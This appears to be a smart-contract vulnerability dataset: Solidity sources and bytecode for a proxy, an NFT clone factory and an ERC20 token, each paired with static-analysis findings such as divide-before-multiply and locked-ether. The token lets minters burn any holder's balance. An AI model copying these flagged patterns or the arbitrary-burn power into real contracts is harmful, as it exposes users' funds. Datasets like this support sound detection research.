22c137b1f97b6df64fd1dfc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,379
0xBc4C7957B0d32c660a66C8FAd1cfdf008330C154
// SPDX-License-Identifier: MIT pragma solidity ^0.5.16; contract ArcProxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ /* solium-disable-next-line */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ /* solium-disable-next-line */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable { assert( IMPLEMENTATION_SLOT == bytes32( uint256(keccak256("eip1967.proxy.implementation")) - 1 ) ); _setImplementation(_logic); if (_data.length > 0) { /* solium-disable-next-line */ (bool success,) = _logic.delegatecall(_data); /* solium-disable-next-line */ require(success); } assert( ADMIN_SLOT == bytes32( uint256(keccak256("eip1967.proxy.admin")) - 1 ) ); _setAdmin(_admin); } /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () external payable { _fallback(); } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _delegate(_implementation()); } /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { /* solium-disable-next-line */ assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. /* solium-disable-next-line */ assembly { size := extcodesize(account) } return size > 0; } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; /* solium-disable-next-line */ assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require( isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address" ); bytes32 slot = IMPLEMENTATION_SLOT; /* solium-disable-next-line */ assembly { sstore(slot, newImplementation) } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require( newAdmin != address(0), "Cannot change the admin of a proxy to the zero address" ); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall( address newImplementation, bytes calldata data ) external payable ifAdmin { _upgradeTo(newImplementation); /* solium-disable-next-line */ (bool success,) = newImplementation.delegatecall(data); /* solium-disable-next-line */ require(success); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; /* solium-disable-next-line */ assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; /* solium-disable-next-line */ assembly { sstore(slot, newAdmin) } } }
0x60806040526004361061004a5760003560e01c80633659cfe6146100545780634f1ef286146100875780635c60da1b146101075780638f28397014610138578063f851a4401461016b575b610052610180565b005b34801561006057600080fd5b506100526004803603602081101561007757600080fd5b50356001600160a01b0316610192565b6100526004803603604081101561009d57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100c857600080fd5b8201836020820111156100da57600080fd5b803590602001918460018302840111640100000000831117156100fc57600080fd5b5090925090506101cc565b34801561011357600080fd5b5061011c610279565b604080516001600160a01b039092168252519081900360200190f35b34801561014457600080fd5b506100526004803603602081101561015b57600080fd5b50356001600160a01b03166102b6565b34801561017757600080fd5b5061011c610370565b61019061018b61039b565b6103c0565b565b61019a6103e4565b6001600160a01b0316336001600160a01b031614156101c1576101bc81610409565b6101c9565b6101c9610180565b50565b6101d46103e4565b6001600160a01b0316336001600160a01b0316141561026c576101f683610409565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610253576040519150601f19603f3d011682016040523d82523d6000602084013e610258565b606091505b505090508061026657600080fd5b50610274565b610274610180565b505050565b60006102836103e4565b6001600160a01b0316336001600160a01b031614156102ab576102a461039b565b90506102b3565b6102b3610180565b90565b6102be6103e4565b6001600160a01b0316336001600160a01b031614156101c1576001600160a01b03811661031c5760405162461bcd60e51b81526004018080602001828103825260368152602001806104dc6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103456103e4565b604080516001600160a01b03928316815291841660208301528051918290030190a16101bc81610449565b600061037a6103e4565b6001600160a01b0316336001600160a01b031614156102ab576102a46103e4565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156103df573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6104128161046d565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b610476816104d5565b6104b15760405162461bcd60e51b815260040180806020018281038252603b815260200180610512603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a265627a7a72315820adaa171b0dadd83f811d79d98a406b53316f23f1a2f295fa933b7d36108ebfcf64736f6c63430005100032
{"success": true, "error": null, "results": {}}
1,380
0xc88891560074f477590b7f6109fe62cb26159469
// SPDX-License-Identifier: AGPL-3.0 pragma solidity ^0.8.11; /// @notice 1-of-1 NFT. /// adapted from https://gist.github.com/z0r0z/ea0b752aa9537070b0d61f8a74d5c10c contract SingleNFT { address private owner; event Transfer(address indexed from, address indexed to, uint256 indexed id); function balanceOf(address) external pure returns (uint256) { return 1; } function ownerOf(uint256) external view returns (address) { return owner; } /// @notice Returns a string from a null terminated bytes array in memory /// @dev Works backwards from the end of the byte array so that it only needs one for loop function _nullTerminatedString(bytes memory input) public pure returns (string memory) { bytes memory output; for (uint256 i = input.length; i > 0; i--) { // Find the first non null byte if (uint8(input[i - 1]) != 0) { // Initialize the output byte array if (output.length == 0) { output = new bytes(i); } output[i - 1] = input[i - 1]; } } return string(output); } function name() external pure returns (string memory) { uint256 offset = _getImmutableArgsOffset(); bytes32 nameBytes; assembly { nameBytes := calldataload(offset) } return _nullTerminatedString(abi.encodePacked(nameBytes)); } function symbol() external pure returns (string memory) { uint256 offset = _getImmutableArgsOffset(); bytes16 symbolBytes; assembly { symbolBytes := calldataload(add(offset, 0x20)) } return _nullTerminatedString(abi.encodePacked(symbolBytes)); } function tokenURI(uint256) external pure returns (string memory) { uint256 offset = _getImmutableArgsOffset(); bytes32 uriBytes1; bytes16 uriBytes2; assembly { uriBytes1 := calldataload(add(offset, 0x30)) uriBytes2 := calldataload(add(offset, 0x50)) } return _nullTerminatedString(abi.encodePacked("ipfs://", uriBytes1, uriBytes2)); } /// @return offset The offset of the packed immutable args in calldata function _getImmutableArgsOffset() internal pure returns (uint256 offset) { // solhint-disable-next-line no-inline-assembly assembly { offset := sub(calldatasize(), add(shr(240, calldataload(sub(calldatasize(), 2))), 2)) } } /// @notice Random function name to save gas. Thanks to @_apedev for early access. /// https://twitter.com/_apedev/status/1483827473930407936 /// Also payable to save even more gas function mint_d22vi9okr4w(address to) external payable { require(owner == address(0), "Already minted"); owner = to; emit Transfer(address(0), to, 0); } function supportsInterface(bytes4 interfaceId) external pure returns (bool) { return interfaceId == 0x01ffc9a7 || interfaceId == 0x80ac58cd || interfaceId == 0x5b5e139f; } } library ClonesWithCallData { function cloneWithCallDataProvision( address implementation, bytes memory data ) internal returns (address instance) { // unrealistic for memory ptr or data length to exceed 256 bits unchecked { uint256 extraLength = data.length + 2; // +2 bytes for telling how much data there is appended to the call uint256 creationSize = 0x43 + extraLength; uint256 runSize = creationSize - 11; uint256 dataPtr; uint256 ptr; // solhint-disable-next-line no-inline-assembly assembly { ptr := mload(0x40) // ------------------------------------------------------------------------------------------------------------- // CREATION (11 bytes) // ------------------------------------------------------------------------------------------------------------- // 3d | RETURNDATASIZE | 0 | – // 61 runtime | PUSH2 runtime (r) | r 0 | – mstore( ptr, 0x3d61000000000000000000000000000000000000000000000000000000000000 ) mstore(add(ptr, 0x02), shl(240, runSize)) // size of the contract running bytecode (16 bits) // creation size = 0b // 80 | DUP1 | r r 0 | – // 60 creation | PUSH1 creation (c) | c r r 0 | – // 3d | RETURNDATASIZE | 0 c r r 0 | – // 39 | CODECOPY | r 0 | [0-2d]: runtime code // 81 | DUP2 | 0 c 0 | [0-2d]: runtime code // f3 | RETURN | 0 | [0-2d]: runtime code mstore( add(ptr, 0x04), 0x80600b3d3981f300000000000000000000000000000000000000000000000000 ) // ------------------------------------------------------------------------------------------------------------- // RUNTIME // ------------------------------------------------------------------------------------------------------------- // 36 | CALLDATASIZE | cds | – // 3d | RETURNDATASIZE | 0 cds | – // 3d | RETURNDATASIZE | 0 0 cds | – // 37 | CALLDATACOPY | – | [0, cds] = calldata // 61 | PUSH2 extra | extra | [0, cds] = calldata mstore( add(ptr, 0x0b), 0x363d3d3761000000000000000000000000000000000000000000000000000000 ) mstore(add(ptr, 0x10), shl(240, extraLength)) // 60 0x38 | PUSH1 0x38 | 0x38 extra | [0, cds] = calldata // 0x38 (56) is runtime size - data // 36 | CALLDATASIZE | cds 0x38 extra | [0, cds] = calldata // 39 | CODECOPY | _ | [0, cds] = calldata // 3d | RETURNDATASIZE | 0 | [0, cds] = calldata // 3d | RETURNDATASIZE | 0 0 | [0, cds] = calldata // 3d | RETURNDATASIZE | 0 0 0 | [0, cds] = calldata // 36 | CALLDATASIZE | cds 0 0 0 | [0, cds] = calldata // 61 extra | PUSH2 extra | extra cds 0 0 0 | [0, cds] = calldata mstore( add(ptr, 0x12), 0x603836393d3d3d36610000000000000000000000000000000000000000000000 ) mstore(add(ptr, 0x1b), shl(240, extraLength)) // 01 | ADD | cds+extra 0 0 0 | [0, cds] = calldata // 3d | RETURNDATASIZE | 0 cds 0 0 0 | [0, cds] = calldata // 73 addr | PUSH20 0x123… | addr 0 cds 0 0 0 | [0, cds] = calldata mstore( add(ptr, 0x1d), 0x013d730000000000000000000000000000000000000000000000000000000000 ) mstore(add(ptr, 0x20), shl(0x60, implementation)) // 5a | GAS | gas addr 0 cds 0 0 0 | [0, cds] = calldata // f4 | DELEGATECALL | success 0 | [0, cds] = calldata // 3d | RETURNDATASIZE | rds success 0 | [0, cds] = calldata // 82 | DUP3 | 0 rds success 0 | [0, cds] = calldata // 80 | DUP1 | 0 0 rds success 0 | [0, cds] = calldata // 3e | RETURNDATACOPY | success 0 | [0, rds] = return data (there might be some irrelevant leftovers in memory [rds, cds] when rds < cds) // 90 | SWAP1 | 0 success | [0, rds] = return data // 3d | RETURNDATASIZE | rds 0 success | [0, rds] = return data // 91 | SWAP2 | success 0 rds | [0, rds] = return data // 60 0x36 | PUSH1 0x36 | 0x36 sucess 0 rds | [0, rds] = return data // 57 | JUMPI | 0 rds | [0, rds] = return data // fd | REVERT | – | [0, rds] = return data // 5b | JUMPDEST | 0 rds | [0, rds] = return data // f3 | RETURN | – | [0, rds] = return data mstore( add(ptr, 0x34), 0x5af43d82803e903d91603657fd5bf30000000000000000000000000000000000 ) } // ------------------------------------------------------------------------------------------------------------- // APPENDED DATA (Accessible from extcodecopy) // (but also send as appended data to the delegatecall) // ------------------------------------------------------------------------------------------------------------- extraLength -= 2; uint256 counter = extraLength; uint256 copyPtr = ptr + 0x43; // solhint-disable-next-line no-inline-assembly assembly { dataPtr := add(data, 32) } for (; counter >= 32; counter -= 32) { // solhint-disable-next-line no-inline-assembly assembly { mstore(copyPtr, mload(dataPtr)) } copyPtr += 32; dataPtr += 32; } uint256 mask = ~(256**(32 - counter) - 1); // solhint-disable-next-line no-inline-assembly assembly { mstore(copyPtr, and(mload(dataPtr), mask)) } copyPtr += counter; // solhint-disable-next-line no-inline-assembly assembly { mstore(copyPtr, shl(240, extraLength)) } // solhint-disable-next-line no-inline-assembly assembly { instance := create(0, ptr, creationSize) } require(instance != address(0), "create failed"); } } } /// @title SingleNFTFactory /// @author https://twitter.com/devan_non https://github.com/devanonon /// @notice Factory for deploying ERC721 contracts cheaply /// @dev Based on https://github.com/ZeframLou/vested-erc20 /// and inspiried by this thread: https://twitter.com/alcuadrado/status/1484333520071708672 contract SingleNFTFactory { /// ----------------------------------------------------------------------- /// Library usage /// ----------------------------------------------------------------------- using ClonesWithCallData for address; /// ----------------------------------------------------------------------- /// Immutable parameters /// ----------------------------------------------------------------------- /// @notice The ERC721 used as the template for all clones created SingleNFT public immutable implementation; constructor(SingleNFT implementation_) { implementation = implementation_; } /// @notice Creates a SingleNFT contract /// @dev Uses a modified minimal proxy contract that stores immutable parameters in code and /// passes them in through calldata. See ClonesWithCallData. Make 96 byte token URI /// @param _name The name of the ERC721 token (restricted to 32 bytes) /// @param _symbol The symbol of the ERC721 token (restricted to 16 bytes) /// @param _URI1 First part of the IPFS hash, requires client to split up URI for gas savings /// @param _URI2 Second part of the IPFS hash, requires client to split up URI for gas savings /// @return erc721 The created SingleNFT contract function createERC721( bytes32 _name, bytes16 _symbol, bytes32 _URI1, bytes16 _URI2 ) external returns (SingleNFT erc721) { bytes memory ptr = new bytes(96); assembly { mstore(add(ptr, 0x20), _name) mstore(add(ptr, 0x40), _symbol) mstore(add(ptr, 0x50), _URI1) mstore(add(ptr, 0x70), _URI2) } erc721 = SingleNFT( address(implementation).cloneWithCallDataProvision(ptr) ); // Random function name to save gas, see comments in function for explanation erc721.mint_d22vi9okr4w(msg.sender); } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635c60da1b1461003b578063c831901e1461007e575b600080fd5b6100627f0000000000000000000000006ab91b6c77ab3782d91c85cb7066b2b82bfe787381565b6040516001600160a01b03909116815260200160405180910390f35b61006261008c3660046102c8565b60408051606080825260808201909252600091829190602082018180368337019050509050856020820152846040820152836050820152826070820152610105817f0000000000000000000000006ab91b6c77ab3782d91c85cb7066b2b82bfe78736001600160a01b031661016090919063ffffffff16565b60405160008082523360048301529193506001600160a01b0384169190602401600060405180830381600087803b15801561013f57600080fd5b505af1158015610153573d6000803e3d6000fd5b5050505050949350505050565b8051604051613d6160f01b8152603a820160f081811b6002848101919091526680600b3d3981f360c81b600485015264363d3d376160d81b600b8501528401901b6010830181905268603836393d3d3d366160b81b6012840152601b83015262013d7360e81b601d830152606085901b6020808401919091526e5af43d82803e903d91603657fd5bf360881b60348401526000939260458401929186019084604382015b602082106102235783518152602093840193601f199092019101610204565b835160001960208490036101000a0119908116825260f088901b91830191825286846000f098506001600160a01b0389166102945760405162461bcd60e51b815260206004820152600d60248201526c18dc99585d194819985a5b1959609a1b604482015260640160405180910390fd5b505050505050505092915050565b80356fffffffffffffffffffffffffffffffff19811681146102c357600080fd5b919050565b600080600080608085870312156102de57600080fd5b843593506102ee602086016102a2565b925060408501359150610303606086016102a2565b90509295919450925056fea2646970667358221220423a4676f4a520527db286899152389eab7946ce8159a409331943f3430761b764736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,381
0xbb9284484cb9a2bc7950a1276edba2f6358ea677
// SPDX-License-Identifier: MIT // /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$$ // | $$__ $$ /$$__ $$| $$__ $$| $$_____/ // | $$ \ $$| $$ \ $$| $$ \ $$| $$ // | $$ | $$| $$$$$$$$| $$$$$$$/| $$$$$ // | $$ | $$| $$__ $$| $$____/ | $$__/ // | $$ | $$| $$ | $$| $$ | $$ // | $$$$$$$/| $$ | $$| $$ | $$ // |_______/ |__/ |__/|__/ |__/ // // /$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$$ /$$$$$$ /$$$$$$$$ // |_ $$_/| $$$ | $$| $$ | $$| $$_____/ /$$__ $$|__ $$__/ // | $$ | $$$$| $$| $$ | $$| $$ | $$ \__/ | $$ // | $$ | $$ $$ $$| $$ / $$/| $$$$$ | $$$$$$ | $$ // | $$ | $$ $$$$ \ $$ $$/ | $$__/ \____ $$ | $$ // | $$ | $$\ $$$ \ $$$/ | $$ /$$ \ $$ | $$ // /$$$$$$| $$ \ $$ \ $/ | $$$$$$$$| $$$$$$/ | $$ // |______/|__/ \__/ \_/ |________/ \______/ |__/ // // /$$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$$$ /$$ /$$ // |__ $$__//$$__ $$| $$ /$$/| $$_____/| $$$ | $$ // | $$ | $$ \ $$| $$ /$$/ | $$ | $$$$| $$ // | $$ | $$ | $$| $$$$$/ | $$$$$ | $$ $$ $$ // | $$ | $$ | $$| $$ $$ | $$__/ | $$ $$$$ // | $$ | $$ | $$| $$\ $$ | $$ | $$\ $$$ // | $$ | $$$$$$/| $$ \ $$| $$$$$$$$| $$ \ $$ // |__/ \______/ |__/ \__/|________/|__/ \__/ pragma solidity ^0.8.0; library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 6; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } abstract contract ERC20Mintable is ERC20, MinterRole { function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } abstract contract ERC20Burnable is ERC20, MinterRole { function burn(address to, uint256 value) public onlyMinter returns (bool) { _burn(to, value); return true; } } contract ERC20Preset is ERC20Mintable, ERC20Burnable { constructor( string memory name, string memory symbol, uint256 initialSupply, address owner ) ERC20(name, symbol) { _mint(owner, initialSupply); } } contract DAPFToken is ERC20Preset { constructor() ERC20Preset("DAPF Invest Token", "DAPF", 500000 * 10 ** decimals(), msg.sender) { } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806395d89b4111610097578063a457c2d711610066578063a457c2d7146102c3578063a9059cbb146102f3578063aa271e1a14610323578063dd62ed3e1461035357610100565b806395d89b411461024f578063983b2d561461026d57806398650275146102895780639dc29fac1461029357610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806340c10f19146101ef57806370a082311461021f57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610383565b60405161011a9190611615565b60405180910390f35b61013d600480360381019061013891906113fa565b610415565b60405161014a91906115fa565b60405180910390f35b61015b610433565b6040516101689190611777565b60405180910390f35b61018b600480360381019061018691906113ab565b61043d565b60405161019891906115fa565b60405180910390f35b6101a9610535565b6040516101b69190611792565b60405180910390f35b6101d960048036038101906101d491906113fa565b61053e565b6040516101e691906115fa565b60405180910390f35b610209600480360381019061020491906113fa565b6105ea565b60405161021691906115fa565b60405180910390f35b61023960048036038101906102349190611346565b610612565b6040516102469190611777565b60405180910390f35b61025761065a565b6040516102649190611615565b60405180910390f35b61028760048036038101906102829190611346565b6106ec565b005b61029161070a565b005b6102ad60048036038101906102a891906113fa565b610715565b6040516102ba91906115fa565b60405180910390f35b6102dd60048036038101906102d891906113fa565b61073d565b6040516102ea91906115fa565b60405180910390f35b61030d600480360381019061030891906113fa565b610828565b60405161031a91906115fa565b60405180910390f35b61033d60048036038101906103389190611346565b610846565b60405161034a91906115fa565b60405180910390f35b61036d6004803603810190610368919061136f565b610863565b60405161037a9190611777565b60405180910390f35b606060038054610392906118db565b80601f01602080910402602001604051908101604052809291908181526020018280546103be906118db565b801561040b5780601f106103e05761010080835404028352916020019161040b565b820191906000526020600020905b8154815290600101906020018083116103ee57829003601f168201915b5050505050905090565b6000610429610422610996565b848461099e565b6001905092915050565b6000600254905090565b600061044a848484610b69565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610495610996565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610515576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050c906116b7565b60405180910390fd5b61052985610521610996565b85840361099e565b60019150509392505050565b60006006905090565b60006105e061054b610996565b848460016000610559610996565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105db91906117c9565b61099e565b6001905092915050565b60006105f533610846565b6105fe57600080fd5b6106088383610dea565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054610669906118db565b80601f0160208091040260200160405190810160405280929190818152602001828054610695906118db565b80156106e25780601f106106b7576101008083540402835291602001916106e2565b820191906000526020600020905b8154815290600101906020018083116106c557829003601f168201915b5050505050905090565b6106f533610846565b6106fe57600080fd5b61070781610f4a565b50565b61071333610fa4565b565b600061072033610846565b61072957600080fd5b6107338383610ffe565b6001905092915050565b6000806001600061074c610996565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080090611737565b60405180910390fd5b61081d610814610996565b8585840361099e565b600191505092915050565b600061083c610835610996565b8484610b69565b6001905092915050565b600061085c8260056111d590919063ffffffff16565b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561092457600080fd5b61092e82826111d5565b1561093857600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0590611717565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7590611677565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffff